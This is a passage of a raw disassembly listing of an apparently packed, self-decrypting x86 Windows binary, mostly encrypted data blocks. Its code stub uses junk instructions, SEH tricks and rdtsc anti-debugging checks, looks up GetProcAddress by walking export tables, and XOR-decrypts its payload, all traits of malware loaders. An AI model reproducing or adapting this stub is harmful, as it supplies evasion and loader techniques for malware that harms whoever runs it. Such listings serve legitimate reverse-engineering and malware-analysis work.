33782A25h dd 3682A59Bh, 0E109B76h, 7EAA2A9Dh, 9B82B000h, 1D88DDCBh dd 0EB0432E2h, 42FD7D0Ah, 0E31A238Fh, 5D642F23h, 0EF444459h dd 0F30824C4h, 38640A66h, 54711601h, 678CA5ECh, 0EDB232A7h dd 2E41DCC8h, 29CE1C13h, 867C4164h, 0D8818AEFh, 0EB30307Fh dd 386112D8h, 174C4623h, 0BD6257DAh, 0E68B787Dh, 0DB6D0E32h dd 0EA53006Ah, 5AA03D2h, 8BD0D0C5h, 3148E2D4h, 0B403FCF1h dd 0B0C37A2Fh, 66A3D7E2h, 892EFC83h, 9B5B86CCh, 0B56AEAC7h dd 9F035FEh, 0AB1D169Bh, 53E62DB1h, 0EDC242D7h, 0D0D092E6h dd 3A275DE1h, 423F108Bh, 650A8A65h, 0EB5ABDAEh, 0C734C62Bh dd 0A47860DAh, 0AD6298C2h, 0F40B887Dh, 0E99E1EF9h, 77CE3FA9h dd 16C200BEh, 20176722h, 51B4F26Eh, 0AA89FB01h, 2D22B22Eh dd 7738382Dh, 9A563941h, 1F4D682Bh, 87C64FE6h, 281B9095h dd 69627B3h, 9785C134h, 1DD212C7h, 44EA9CDDh, 62162FEBh dd 86EBEBF5h, 629A6F4h, 7326B1Dh, 5A5801Ah, 82E1353Eh dd 0CD923BFFh, 21582504h, 5D5D2EB3h, 0BECB9AE6h, 645DD75Dh dd 81F0F0E4h, 413FFD6Eh, 8E1A6911h, 4964CAF5h, 43C12E2Fh dd 736E36BAh, 0B42E8B96h, 9F890635h, 16255785h, 1B62692h dd 1ADCCCC1h, 3E976796h, 81447564h, 0DC0D8E13h, 0EF343473h dd 85501DACh, 30505045h, 36EFCE18h, 477C7C24h, 0E2AA9770h dd 73A9A88Dh, 0ECA3EB3h, 3FDC970Eh, 0C24ACA7Fh, 0DB397D70h dd 6116960Bh, 0A52B5801h, 72B599DFh, 0AED302B2h, 0B97EACDFh dd 40D819Ah, 6E97F1A7h, 6BF20828h, 0FAC4A5BBh, 8F9757D2h dd 48FF710h, 0D30B08EDh, 7D6A9E13h, 0BDF4B1A2h, 1849CA2Fh dd 2B7022FDh, 83D27368h, 5F8D8C91h, 66B2681Ch, 93FACC28h dd 118477C3h, 0E56DE7AAh, 55B87BE7h, 0DB487386h, 335A2390h dd 8F543C21h, 9C52D26Eh, 3231601Fh, 5CF4AE30h, 5F84ADF2h dd 0CCD7AF68h, 8BC0C0A5h, 27A246CBh, 0A78661E2h, 4DB482E7h dd 0DA659DFAh, 792EAE33h, 1B31443Bh, 20AD1CB1h, 3B604918h dd 0D182067Bh, 0D2169AE4h, 0FDA20BDBh, 0AAB54D4Ah, 69DE5EC3h dd 0B481F4E9h, 97088D75h, 9F622BFh, 0B3F5DDCh, 0BD8E7E46h dd 5A803455h, 0C81CAA5Eh, 0DB016AA1h, 3B1927C1h, 5BA2AEDh dd 616F54CAh, 84199924h, 0C7ECBE81h, 63B807F8h, 46D7280Dh dd 892EFC5Fh, 214AC1B6h, 38E7EA4Fh, 4B90C22Dh, 0A3F68306h dd 25FDACB1h, 0B83D42DDh, 0A3C89A99h, 770FB1Ch, 7AFB04E9h dd 650AD85Bh, 0C52EA5DAh, 24CBC62Bh, 274C1D11h, 0FF224798h dd 0ACDE886Dh, 0F9A08406h, 2B1137A9h, 15CA5AFDh, 0ABE00816h dd 2BAB76EBh, 5FE18D00h, 3522B22Fh, 86F937DDh, 995EDBC3h dd 0ACA7A4DCh, 0CA8A05A7h, 4E101544h, 0CC65268Bh, 8796BCA1h dd 9CB44EB2h, 0DFE4CCA1h, 29ED0B82h, 20EBD0E1h, 9D2FDFE0h dd 0F4BFBA80h, 5EA904A3h, 0C8420D9Eh, 0F9D47A5Ah, 63BD209Fh dd 11CE2EA3h, 703B3B1Ch, 615163BAh, 0E7DC0C1h, 5116C7BBh dd 81144C9Ah, 7F3488A6h, 7B1E6D4Eh, 0A9A1DE53h, 3F1EB0E2h dd 40755A2Dh, 6BB09E7Fh, 80BEF228h, 0A8F390FFh, 0AEE1178Bh dd 0A110FC2Bh, 0B1F171F9h, 10DBDB66h, 0F182794Eh, 0F0505045h dd 0B1495EEAh, 5A947C71h, 1F921287h, 4310A8BDh, 0E1BE3EB3h dd 9FD4D4D9h, 8DEA4E1Dh dd 0CB000170h, 611695E3h, 0F700EE21h, 816696BAh, 0DBDB7680h dd 0D9779263h, 4F848491h, 0C1CE918Fh, 613BED95h, 2899AB3Ah dd 4934DCC1h, 5C0D8D07h, 0D5080C3Fh, 6E1F9D11h, 0AD3C032Ch dd 0FF8BC943h, 40602C15h, 9000h, 24Eh dup(0) dd 0FFE00000h, 12h, 1312h dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near push ebp mov ebp, esp call sub_3143201B cmc call sub_314320BF clc nop mov ebp, 12FFC0h ; DATA XREF: sub_3143201B+6w cmc jmp loc_31432054 start endp ; =============== S U B R O U T I N E ======================================= sub_3143201B proc near ; CODE XREF: start+3p push dword ptr fs:0 mov dword ptr ds:loc_31432010+1, ebp jmp short $+2 mov fs:0, esp xor ebx, ebx push 80000000h push ebx push ebx push 4 push ebx push ebx push ebx push 1 push ebx push ebx push ebx push 80000000h push ebx call ds:dword_31428090 ; GetProcAddress loc_31432054: ; CODE XREF: start+16j nop stc mov edx, edx sub eax, eax loc_3143205A: ; CODE XREF: sub_3143201B+45j dec al or al, al jz short loc_31432064 jnz short loc_3143205A jmp short locret_314320CB ; --------------------------------------------------------------------------- loc_31432064: ; CODE XREF: sub_3143201B+43j clc cmc mov ebx, ebx call sub_314320B2 stc cmc add edx, 74h push edx sub ecx, ecx xor ecx, 2988h nop mov edi, 0D8h xchg ebx, ebx jmp short $+2 nop mov eax, eax loc_3143208B: ; CODE XREF: sub_3143201B+82j call sub_314320D0 add edx, 1 add di, 7 dec ecx cmc cmp ecx, 0 ja short loc_3143208B pop edx mov ecx, ecx mov edi, [ebp-8] mov fs:0, edi nop leave clc xchg ebx, ebx jmp edx sub_3143201B endp ; =============== S U B R O U T I N E ======================================= sub_314320B2 proc near ; CODE XREF: sub_3143201B+4Dp pop edx xchg ebx, ebx jmp short $+2 mov ecx, ecx push edx retn sub_314320B2 endp ; --------------------------------------------------------------------------- db 89h, 0DBh ; --------------------------------------------------------------------------- cmc cld ; =============== S U B R O U T I N E ======================================= sub_314320BF proc near ; CODE XREF: start+9p arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax locret_314320CB: ; CODE XREF: sub_3143201B+47j retn sub_314320BF endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 89h, 0C9h db 90h ; --------------------------------------------------------------------------- cld ; =============== S U B R O U T I N E ======================================= sub_314320D0 proc near ; CODE XREF: sub_3143201B:loc_3143208Bp mov al, [edx] cld xor ax, di mov eax, eax jmp short $+2 jmp short $+2 nop xchg al, [edx] retn sub_314320D0 endp ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- call $+5 mov eax, [esp] cld mov [eax+32BFh], ebx mov ecx, [eax+2978h] mov ebx, [esp+4] and ecx, 20000000h jz short loc_3143212F pop ecx mov [eax+32C3h], esi push edi pop dword ptr [eax+32C7h] cmp byte ptr [eax+297Ch], 0E8h jnz short loc_31432126 add ebx, [eax+297Dh] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_3143212E ; --------------------------------------------------------------------------- loc_31432126: ; CODE XREF: UPX2:31432117j mov ebx, [eax+297Eh] push dword ptr [ebx] loc_3143212E: ; CODE XREF: UPX2:31432124j pop ebx loc_3143212F: ; CODE XREF: UPX2:31432100j push ebp mov ebp, eax sub dword ptr [esp+4], 80E6h sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+103988h] mov ecx, 0 rep movsb call sub_31432208 mov ecx, eax call sub_31432208 sub eax, ecx jz short loc_314321DA cmp eax, 100h ja short loc_314321DA and ebx, 0FFFFF000h loc_3143216E: ; CODE XREF: UPX2:3143217Dj cmp dword ptr [ebx+4Eh], 73696854h jz short loc_3143217F loc_31432177: ; CODE XREF: UPX2:3143218Cj sub ebx, 100h jnz short loc_3143216E loc_3143217F: ; CODE XREF: UPX2:31432175j mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_31432177 add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_31432199: ; CODE XREF: UPX2:loc_314321ADj lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_314321AD cmp dword ptr [eax+5], 6441636Fh jz short loc_314321B2 loc_314321AD: ; CODE XREF: UPX2:314321A2j loop loc_31432199 pop ecx jmp short loc_314321DA ; --------------------------------------------------------------------------- loc_314321B2: ; CODE XREF: UPX2:314321ABj sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+101141h] mov dx, [eax-17h] call sub_3143220D jmp short loc_31432222 ; --------------------------------------------------------------------------- loc_314321DA: ; CODE XREF: UPX2:3143215Fj ; UPX2:31432166j ... mov eax, [ebp+10397Dh] and eax, 20000000h jz short loc_31432206 mov edi, [esp+4] lea esi, [ebp+103981h] lodsd stosd mov ebx, [ebp+1042C4h] movsb mov edi, [ebp+1042CCh] mov esi, [ebp+1042C8h] loc_31432206: ; CODE XREF: UPX2:314321E5j pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_31432208 proc near ; CODE XREF: UPX2:31432151p ; UPX2:31432158p ... rdtsc retn sub_31432208 endp ; --------------------------------------------------------------------------- db 0F8h db 28h ; =============== S U B R O U T I N E ======================================= sub_3143220D proc near ; CODE XREF: UPX2:314321D3p push ebx mov ecx, 283Ch mov ebx, edx loc_31432215: ; CODE XREF: sub_3143220D+11j xor [eax], dl sub dl, bl xchg bl, bh inc eax xchg dl, dh loop loc_31432215 pop ebx retn sub_3143220D endp ; --------------------------------------------------------------------------- loc_31432222: ; CODE XREF: UPX2:314321D8j adc [eax+eax], ah add [eax], cl wait jl short near ptr sub_31432208+1 imul ebp, 68h add [esi+5Ch], eax ; CODE XREF: UPX2:3143224Cj pop esp jnz short loc_3143226B mov ebx, 1DC116BFh dec esi dec esi loc_3143223A: ; CODE XREF: UPX2:31432244j dec eax dec eax mov ds:9370F868h, ch or cl, ch loope loc_3143223A in eax, dx sbb eax, 7CF655E6h loope near ptr loc_3143222D+1 sti inc edi sbb ds:0C850FE4Ah, di ; --------------------------------------------------------------------------- db 0F0h dd 0C8D8F0DDh, 349CC5A7h, 6D8C2391h, 0AA677272h db 10h, 0E3h, 0E7h ; --------------------------------------------------------------------------- loc_3143226B: ; CODE XREF: UPX2:31432231j pop esi test eax, 20060EE5h adc al, dl sub eax, [ebx-40h] dec eax sbb eax, 13DC7F90h lahf fist word ptr [edi+5E458FA8h] xchg eax, esi nop or byte ptr ds:19B59F98h, 0Bh mov al, ds:890528E0h test [eax-23CA3E98h], ebp out 65h, eax xor al, 9Ah fsub st, st pop esi db 65h inc ecx in eax, 40h ; Timer 8253-5 (AT: 8254.2). clc cmpsd test [eax+5B10C81Dh], edx pop ds or eax, [ebp+30283DF0h] adc [ebx+58D5C04Dh], bh cwde push eax rep std int 3 ; Trap to Debugger loc_314322BC: ; CODE XREF: UPX2:314322D6j ; UPX2:31432302j jnz short loc_314322EE push 0F075F3F8h mov ebp, 0F888090h push esi mov ch, 46h sbb dh, [eax+531A9E0h] mov edx, 0CDC07886h jge short loc_314322BC ; --------------------------------------------------------------------------- dd 0FBD8E0C5h, 4E552D29h, 99F840CEh, 0DB83E820h, 7747B010h ; --------------------------------------------------------------------------- mov ch, 16h loc_314322EE: ; CODE XREF: UPX2:loc_314322BCj push ss sub [eax], dh rcl eax, 1 test dword ptr [edi+44h], 7050989Ch ror dword ptr [edi], cl jz short near ptr loc_31432344+4 sub bl, bh mov bl, 0B8h js short loc_314322BC or byte ptr [eax+0EBEDD01h], 88h or al, cl add al, 0DAh mov eax, 97B8FAB0h push ebp out dx, al test byte ptr [eax], 0D0h jnz short near ptr loc_3143232F+4 mov dword ptr [esi+ecx*2-16h], 75C7F078h popf add [eax], dl sbb al, bl wait pop edi mov eax, ds:28602C31h loc_3143232F: ; CODE XREF: UPX2:31432319j mov ecx, 0F82810DDh inc eax dec ebp ffree st(6) inc edx pusha pop eax mov ebx, 7B8ADFC5h pushf lock rep push esp loc_31432344: ; CODE XREF: UPX2:314322FCj jmp far ptr 0DBDh:0C998BB88h ; --------------------------------------------------------------------------- db 4Dh dd 4BA8F0BBh, 0E1441B1Bh, 5F365097h, 0CBB0A7CCh, 87E8A1E0h dd 38C67E65h, 0F8CC8300h, 0C177095h, 382862BFh, 82387AA7h dd 9C48A841h, 4830F050h, 7682160h, 0B846FEE5h, 57480580h dd 89AB214h, 0E8A88AA0h, 6CB890D8h, 0D9C82AC0h, 0A28FFC38h dd 7980F0E1h, 0D7F851F0h, 0C8362E95h, 8812D810h, 0ADD76021h dd 0E8282E1Eh, 9848C5A8h, 4A099950h, 0F8022060h, 0C2723329h dd 0FA1D7F8Ah, 0E39820AEh, 52B2351h, 68A8AEFEh, 2C4C4FC0h dd 20D8F0D2h, 78E8A0E6h, 64BC04BEh, 4DF7004Ch, 88088E7Ah dd 2FFED5ADh, 210B1020h, 0A6FE7DCDh, 46E97040h, 0FA1BC8F3h dd 15FBD070h, 5898BE6Ah, 81C3F90h, 33A8E0A2h, 78862A35h dd 19B8BFC0h, 0F00C755Fh, 0FD63A0F0h, 28E86E22h, 570970FFh dd 98219195h, 86ADEB20h, 1738000Eh, 1DC7C130h, 48484978h dd 0C6AAADEBh, 0B29BD060h, 0D789F17Fh, 18A10515h, 72256BA0h dd 8BB8808Eh, 19B9BFC9h, 0F19A755Fh, 0C000A0F0h, 0A5F850F1h dd 0C83740BDh, 0E2D73B10h, 0C7F19620h, 9BB1440h, 9B08AA43h dd 483227A9h, 4DE5380Ah, 0A868C593h, 58889939h, 459CBD90h dd 47571F5Eh, 6C353BD6h, 18C8408Dh, 457396D0h, 4A43A4A7h dd 0C46DDD14h, 7408103Dh, 0EE1A3976h, 3AEAE38Bh, 3CB3E5D2h dd 7C20C02Ah, 0C3587022h, 73684AACh, 0C078BAB4h, 50888080h dd 5AC970FAh, 47F8EECAh, 78865625h, 0DC4B18C0h, 0BA3C9890h dd 0AC63A0E0h, 0E473509Ah, 0D862406Ah, 0E24AB27Ah, 4ACC0820h dd 0E8521030h, 0C8B7AA11h, 7696E5AFh, 0A1372070h, 2C772FF5h dd 58888187h, 1898851Dh, 111E0B0h, 0E3B890BCh, 996DB32Fh dd 0D8C8F03Dh, 3C6D2DE0h, 0D7F840E4h, 0B25C50E0h, 77E7DA30h dd 2816B6B5h, 0B7F89530h, 0D5A0F435h, 0A0587051h, 0F8682071h dd 0CD3CB523h, 8EFF5E2h, 61EE59E2h, 0DDCF85CCh, 2650C7B0h dd 0E7C840C5h, 0D89AB465h, 227D5FE0h, 7FF840CEh, 0E61695FFh dd 8872B000h, 0ADD7624Ah, 0E8282E7Eh, 9849E8F9h, 0A973E750h dd 0AC4C2CE9h, 3AED2F27h, 6B8890BEh, 263DB366h, 0B8A8F09Fh dd 0FD47C7E4h, 18D87E56h, 0AEAC3055h, 7C1623A6h, 5C07BE82h dd 0D8620824h, 1DE79A7Ah, 38385EAEh, 344CD0B5h, 9DCE28D3h dd 816B7050h, 0C152C3F1h, 0B847FEF5h, 0D9BAF580h, 6BBC14ECh dd 0CCDB92D3h, 0C8791198h, 48C840CEh, 998EA084h, 87BBF0B0h dd 38C61665h, 81C88500h, 0FCE7BF64h, 0BDA76804h, 0E8282F1Eh dd 67B505A8h, 0DDA723AFh, 0F8781E7Eh, 6CF95E9Bh, 588881A8h dd 160DCFC7h, 47A8F09Eh, 78868E25h, 0E308A9C0h, 92D80F2Fh dd 7882A08Ah, 2892509Ah, 0DC080168h, 0E2DC3B10h, 34423020h dd 0AC7D4BBh, 0AC17B816h, 816B7050h, 797FA88h, 0FBED5D8Fh dd 0A889095h, 0F7C861C1h, 0A896C235h, 487C13B0h, 40901803h dd 0C8EA14D0h, 78E6CBE0h, 28F851F0h, 0D8080000h, 8818B010h dd 38011D20h, 0E8381030h, 0CB1E9140h, 7672E5AFh, 0A1C32070h dd 0DDB854DCh, 9B66627Bh, 11E5A51Dh, 47FAE0B0h, 78861225h dd 5C4DC9C0h, 20D8E092h, 78E8A0F6h, 43973FBCh, 0AA587075h dd 0E471C679h, 6E4D0745h, 8D4D7C51h, 6718C001h, 58665AC5h dd 0B0EDA960h, 6B78C032h, 2BE9C2DCh, 65F97EF5h, 0DAE784C5h dd 1CDBF5DAh, 6C9E1CB3h, 0BCBB9583h, 0C9BCCE0h, 469D3C82h dd 0BD7A4300h, 0CE7DC471h, 794D0C49h, 8D4A5330h, 0DE2DB421h dd 53D1C39h, 91185001h, 0A839B71Eh, 39EDF2C3h, 7AC855E4h dd 0CBCD83CFh, 2BB8D1C3h, 6CA925B2h, 0A5BDA2B5h, 2C8DD48Fh dd 499D2298h, 0AA4B0064h, 0ED6CD175h, 5D5A0874h, 0AB387451h dd 0EC29A532h, 27372435h, 940D480Ch, 0FB4AE300h, 2BF8E1EEh dd 8EC5FF8h, 0CCC198E5h, 0DCAF8E4h, 5EC824A1h, 9CBD9CB9h dd 2C8DCD89h, 5B81039Fh, 8C656574h, 887DDD79h, 5D4D1266h dd 9A5A797Ch, 9831B221h, 0E2C1517h, 0B90D4C09h, 0C10AA404h dd 3DFCF5E2h, 4F9871E3h, 0D1EE94C5h, 1EBF5DCh, 5FC825BAh dd 0A19E84B5h, 11BCC58Ch, 6FF8359Dh, 0B7457465h, 0ED74C574h dd 5C460168h, 0E879755Ch, 0CC3CA507h, 0E281D35h, 0B60D4C09h dd 0E91DBD11h, 2CEDC780h, 78F555C4h, 0D0DC81F0h, 0DFF90F1h dd 6AAD16B4h, 0A6B799A3h, 0C8DE7E0h, 5B8A35A6h, 9D666F69h dd 0CF18F168h, 577E1445h, 8D55655Ch, 0F72EAE09h, 3C391D22h dd 0B9064F09h, 0C9179C70h, 3AE1CCE4h, 71EA51E2h, 0D9E5E0E1h dd 0DD1C6C0h, 5EAE0FB7h, 0C8BD9CB9h, 168DD0AFh, 4D9439B6h dd 0A878614Dh, 0C97FDE79h, 5D582F20h, 874A405Eh, 0EB3BA523h dd 272A2050h, 8B1B4503h, 0C13EE243h, 58FCF3F2h, 6BF742C0h dd 8BDB93C5h, 10DDDE82h, 7D9B40B4h, 0A4B1B6A4h, 0C9CE185h dd 5D9A3982h, 997B6574h, 0FC7DE310h, 5D440966h, 8D557964h dd 0FD249340h, 1B580035h, 9D1C5319h, 0C511841Dh, 1EE7D4E5h dd 5CFD5CF9h, 0B8CD8DC9h, 9D5FEE5h, 7DA116B0h, 8EBEBFA7h dd 788DCC89h, 5C8A39A6h, 99646175h, 0EB77DC7Ch, 515A3720h dd 817E7544h, 0D648A52Ch, 223C3124h, 0A81C5315h, 0C10EB902h dd 3DEFE5ECh, 63F764E3h, 0F6A88EC5h, 0DCAD3C4h, 5EAD34A1h dd 0C8BD9CB9h, 0AABD4AEh, 4D8C3195h, 0BB677250h, 886BC375h dd 4A6B146Eh, 8D4C7155h, 0FB27B210h, 0D2B0335h, 8C262018h dd 0C91DA233h, 3DDBE5F4h, 67F144F3h, 0CCE6E0CEh, 9DDE2F3h dd 6B9D25B4h, 0BA8882B5h, 0B8DC38Fh, 5CB65083h, 8E78614Dh dd 0C76FD579h, 5B4D3346h, 86577944h, 0D73C8E40h, 0E361520h dd 0F80D4C09h, 0D837A43Eh, 2AD8EEE5h, 7BFD53FFh, 0D3C7B4D3h dd 26B8FED5h, 7DB80FB4h, 0ABBDA3BEh, 1687C994h, 788C1EF0h dd 0BD7C6F72h, 0E14EC473h, 595D1452h, 855D5D5Ch, 9831B22Fh dd 3D09041Eh, 0B1115205h, 0DA17B61Eh, 31FCE1EDh, 67CC5EFFh dd 0B8C685CBh, 1AEFE4FEh, 4EAD34A9h, 0BDAC82B9h, 1DA5CC81h dd 518A3F9Dh, 0B47C5200h, 0EB71DE45h, 6B4D044Fh, 86516244h dd 0D9279427h, 1B31033Eh, 96015214h, 0FB2FD017h, 39FCD3C1h dd 78ED44E2h, 0D7C483A0h, 7CBF5C3h, 6CAD2BA3h, 0A6B793D0h dd 0C8BC58Eh, 5C9D37F0h, 0AC7B6F68h, 0E976C972h, 4A28054Dh dd 0E84E7355h, 0FC26A533h, 2B370350h, 0F81C450Bh, 0CD0CBE39h dd 2CEDEEF2h, 7BF75CD3h, 0D6C9A8C5h, 68DDFCD4h, 7DBC2E89h dd 0BCBD9EA2h, 3B9CC5A7h, 4D963E9Fh, 0BC6D7463h, 0FC79C443h dd 56616045h, 864A7544h, 0E807B425h, 48191E35h, 9D1C4E29h dd 0DC1DBE02h, 36EDF0CFh, 49F442C5h, 0CCC6A9A0h, 0DD6E2D5h dd 79AD12B4h, 0A4B1B6B4h, 3CA9A085h, 61A811A6h, 9C263233h dd 0DA18FC5Ch, 546B0745h, 0A35D635Fh, 0CA48B925h, 38171735h dd 9D234E05h, 0E9009509h, 3FEDD280h, 7AFD45C1h, 0D4C9B6D9h dd 10FDF5C5h, 7D9A4081h, 0BCBDA3B7h, 0D84C1B6h, 69801595h dd 2E3B5600h, 0DE4EB27Ah, 3942B4ABh, 0F04AEF62h, 0D0DD3F16h dd 0C3586012h, 0AE3E76A4h, 0D8878620h, 0EE1D7F98h, 8B9820AEh dd 7AF6F064h, 213590B8h, 49006B3Bh, 0C8D8F0B8h, 5CA42D08h dd 42F83AF3h, 8B585105h, 4493B57Ah, 68FCEB70h, 0B9787A64h dd 0DB79312h, 48484E8Eh, 764E4E3h, 0B84636E5h, 504C0380h dd 0E40DBD53h, 8BA8F09Dh, 3AB8FA79h, 2AC870A8h, 991C7BD0h dd 28A8CAB1h, 0ABE03AA1h, 0B25C08C0h, 1DE7E01Eh, 38385EFAh dd 0DB18D4B3h, 97884592h, 92AFB2C9h, 3BAA0338h, 4087E327h dd 0A7777F41h, 83DB49Fh dd 0D0F8E0A0h, 68B8E254h, 18A2944Bh, 88B23C5Bh, 68E8A088h dd 7AFA3AF0h, 3C60006Ah, 0E218B062h, 687B3120h, 0D6F685CFh dd 0C117C050h, 7646E5AFh, 7ED2070h, 25F3A104h, 58989508h dd 9D153C73h, 0B8B8F0A0h, 3BEF41B3h, 9D43923Fh, 0C8C8CE6Ah dd 503B2F6Dh, 31050F0h, 53F7FFFFh, 98266295h, 18A7ED20h dd 381019h, 67B73F5Ah, 76E6F5DBh, 77E52070h, 0A878F957h dd 0A7778968h, 0CA1DBB6Fh, 3DA8F09Eh, 0E598E470h, 18E1744Fh dd 362C18D0h, 0FD635F1Fh, 28E86E3Ah, 0D37CC085h, 0A1593F9Dh dd 0E7C06020h, 63C7EFCEh, 0CD8B9F87h, 485870B8h, 15E97D60h dd 0A868CB6Ch, 0DD0549B3h, 8882E30h, 0E9F9B4F1h, 97E9C1E0h dd 8F60A55h, 0ECDC77D0h, 46F6351Fh, 0EAA550E0h, 305D0004h dd 8818B010h, 73C5E17Dh, 8238002Bh, 8EDD4DBFh, 1858604Bh dd 0DC48ED32h, 2B78FA70h, 9FEE8C44h, 18836C15h, 7F882DA0h dd 78A3CE35h, 32C864C0h, 0A21BADD0h, 7100F8FAh, 0A5F850F0h dd 26A26142h, 4BE8C5D9h, 710F549h, 6C3D1020h, 110AC848h dd 586748C5h, 3B8AD760h, 0A8783825h, 0D9D58080h, 1883957Dh dd 84356BA0h, 0EBB8808Fh, 18C064BCh, 0C86174DFh, 9469A0E0h dd 28F852F8h, 0D90C6854h, 1DE7B010h, 38385E52h, 6CB5ECBBh dd 9849C464h, 48322050h, 0F8682488h, 0FA2A8670h, 0CD77D780h dd 8880EFEh, 2F252993h, 68B891B4h, 1AA21191h, 0A0D99A81h dd 38E8A0E0h, 126DAFA2h, 4E08103Eh, 0D36C4695h, 3C403470h dd 0BF381031h, 0B86C74BFh, 0B7587052h, 0E8573AF5h, 68FD8970h dd 4C6B96F4h, 624CBBC0h, 0EFF9B2A0h, 0DA2D6FE6h, 41C850FEh dd 18AD3055h, 667D5FB6h, 0A5F840CEh, 8F5A4457h, 540F47Ah dd 382964B7h, 280BBB30h, 6B11D02Ah, 180820FBh, 0A8387030h dd 0EAED2F22h, 0D98890BEh, 89A3854h, 9CDC1FA0h, 622D6FB8h dd 4BC850FFh, 0F7D2652Fh, 0BAB5A0F0h, 167850F4h, 9E09750Ah dd 9D9C3D9Bh, 21CB6030h, 0F83885BDh, 494BC050h, 0CC8A8F06h dd 0E7E02FA0h, 0A778D071h, 58899004h, 32A6B090h, 38EEF0D5h dd 0ECB7908Eh, 18C841C1h, 0BDF8CE50h, 4669E611h, 6FB619A0h dd 17834275h, 0C719F6D6h, 5279AE0Bh, 0BB6E4130h, 0A74A55BFh dd 73017040h, 27ED2FA1h, 2578D070h, 48961405h, 60985A90h dd 0B8A8E0ACh, 0FD47C3E0h, 18D87FC2h, 0C8D8FCEDh, 0C76DAFE0h dd 0C1F850F0h, 0D80800B1h, 0DA488E91h, 0BD273669h, 0E8381095h dd 344006C3h, 0CC577D6Ch, 0F86820F9h, 5B0DF04Ch, 57B2BC2Ch dd 898BC15h, 98A54DA0h, 5598B090h, 6CAD27E1h, 0F4748FA5h dd 0F994D5C0h, 40D8AF8Eh, 0A97D7474h, 0F81BCE91h, 4D074F1Ah dd 177FD658h, 2279CF40h, 48585740h, 73AC297h, 0B84672E5h dd 848B380h, 0E0C860C0h, 0B8A8E0A9h, 6CFFFF4h, 7CA92FACh dd 0DA4D0FD0h, 0FDE8B0DFh, 1BCE2430h, 0E48D89C9h, 0D918A02Fh dd 382A6048h, 0BE6941B0h, 8EDD3F10h, 0C558606Fh, 0E873BFF5h dd 614B8070h, 0AD8D1D4h, 9D6761C1h, 0B8B8DEEAh, 979C9437h dd 8F65E55h, 481B08D0h, 68FDD76Dh, 0EB0151F0h, 0D962016Ah dd 0FBE783EFh, 0BD3D9F24h, 0DB6264F0h, 2B984B9Bh, 7408735Bh dd 0E5AB95EDh, 12F3D060h, 5888818Ch, 990BA1Bh, 40ABE0A0h dd 0E3D85B9Bh, 796EB30Bh, 2A9FF5A4h, 0FBC64B15h, 0A3AB5F37h dd 0C8357CCh, 0C872E440h, 0C7423271h, 0D6E685CFh, 15C3C050h dd 48484E02h, 0D364E4E3h, 0AF9153BFh, 58E28747h, 47113078h dd 0F7FB23A3h, 29EFC4F6h, 55940592h, 0A7AA93B9h, 0C8ECF93h dd 469107ACh, 0AB7F6F64h, 0FA6DF34Ch, 4C460552h, 9B4A7566h dd 0C426AF29h, 24280815h, 8A0D520Fh, 0DA198470h, 10FCE5E7h dd 8EC43FFh, 0E8A8E0A2h, 68B890B0h, 7CAB32A9h, 0ADB18AFEh dd 14988E86h, 6BB11EF0h, 0AB6B204Bh, 0E27AC97Fh, 6D22014Ah dd 0C86A5563h, 0D1078A24h, 3E7E501Eh, 8D1C5209h, 0A890857Ah dd 5888080h, 163EDD11h, 3D6EE0B0h, 68A885C7h, 6E5DBFC0h dd 9D8E0EEh, 449CBF08h, 9D734E9Ah, 0D8183E2Eh, 0A6241C49h dd 0B94E4A55h, 9D25EF0Eh, 0AAF54D63h, 0C358606Fh, 5D3F2216h dd 2DF57516h, 5898B829h, 3057B51Fh, 3152E0B0h, 26346AF6h dd 1979BB3Eh, 98333F32h, 87138808h, 0C84D30Fh, 9C7D0408h dd 8818B8F8h, 7B6E3320h, 0A474541Eh, 1ADD3F40h, 4358606Eh dd 6B6554A0h, 572BD21Ah, 48B6AA15h, 9B48CF90h, 47567E48h dd 68B3784Fh, 5E9B40C0h, 9B97AF93h, 34A4E4CEh, 0AA6DAFF0h dd 3008103Eh, 77E74E93h, 0C7DE69C8h, 36B5EFCFh, 0AB48D052h dd 0A8DDFD99h, 0A9683022h, 0F8298121h, 0A7D9D1D1h, 18A64E05h dd 0B8A308A0h, 3BED90B0h, 2AFB1285h, 8494B4FEh, 0FA7D5FE0h dd 0C0F840CEh, 0D808000Ah, 0FA68C367h, 5E5C0E49h, 17681071h dd 8876EAD5h, 7ADDF950h, 0F768305Eh, 0D5F55D41h, 0D1889099h dd 18A70815h, 2D57B1A0h, 68A8AE32h, 18CC2853h, 7D55F0D0h dd 78F8B96Ah, 3645DDA9h, 3008103Fh, 77E745D9h, 55ADA746h dd 0E838002Eh, 0F7ED4310h, 4858604Eh, 0E645B5EDh, 0FC28D060h dd 58E281EAh, 89A58C2h, 2D5760A0h, 68A8AF92h, 6D928045h dd 0A8557DF2h, 2AE8B0FEh, 9D75569Ah, 0D8181E6Dh, 0D848E644h dd 0ADD73271h, 0E8282F16h, 86DD3F18h, 8E58606Fh, 0E8291FE5h dd 0A490D070h, 0F888080h, 43DB7FC3h, 0FC86D293h, 97B8DCFCh dd 8F6C255h, 0CFB063D0h, 0F5E8A0E0h, 38E0B145h, 65855900h dd 88088EFEh, 0C7DD24C8h, 0E834F8CFh, 0D11FC040h, 0D16391Eh dd 0B42C0E34h, 3D87D03Ch, 5898BE02h, 8C97F015h, 0B8A8E295h dd 68BDF823h, 0AD4540C0h, 0C8C8E9CFh, 72552DB9h, 0C0F840CFh dd 27F7F50Dh, 0B7160D93h, 37286030h, 0E83A00B4h, 8A44140h dd 1C587051h, 0F8692108h, 46ED2F70h, 0D98890BEh, 899A054h dd 6C23B0A0h, 97EA90DAh, 8F74E55h, 911875D0h, 0F080AD95h dd 0D7F850E3h, 0C836A295h, 0BFA5B10h, 28360F9Dh, 0C14D1030h dd 